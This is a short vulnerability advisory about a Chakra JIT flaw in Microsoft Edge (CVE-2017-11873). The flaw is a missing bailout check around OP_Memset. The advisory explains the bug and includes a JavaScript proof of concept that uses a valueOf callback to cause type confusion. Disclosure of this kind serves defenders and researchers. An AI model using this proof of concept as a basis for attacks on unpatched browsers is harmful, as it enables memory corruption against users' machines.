Microsoft Edge Chakra JIT Bailout Generation
Posted on 16 November 2017
Microsoft Edge: Chakra: JIT: Bailouts must be generated for OP_Memset CVE-2017-11873 function opt(a, b, v) { if (b.length < 1) return; for (let i = 0; i < a.length; i++) a[i] = v; b[0] = 2.3023e-320; } The above JavaScript code is JITed as follows: ... CHECKING THE TYPE OF B ... OP_Memset(a, v, a.length); b[0] = 2.3023e-320; But there's no ImplicitCallFlags checks around OP_Memset. So it fails to detect if the type of "b" was changed after the "OP_Memset" called. The PoC shows that it can result in type confusion. PoC: function opt(a, b, v) { if (b.length < 1) return; for (let i = 0; i < a.length; i++) a[i] = v; b[0] = 2.3023e-320; } function main() { for (let i = 0; i < 1000; i++) { opt(new Uint8Array(100), [1.1, 2.2, 3.3], {}); } let a = new Uint8Array(100); let b = [1.1, 2.2, 3.3]; opt(a, b, { valueOf: () => { b[0] = {}; return 0; } }); print(b[0]); } main(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt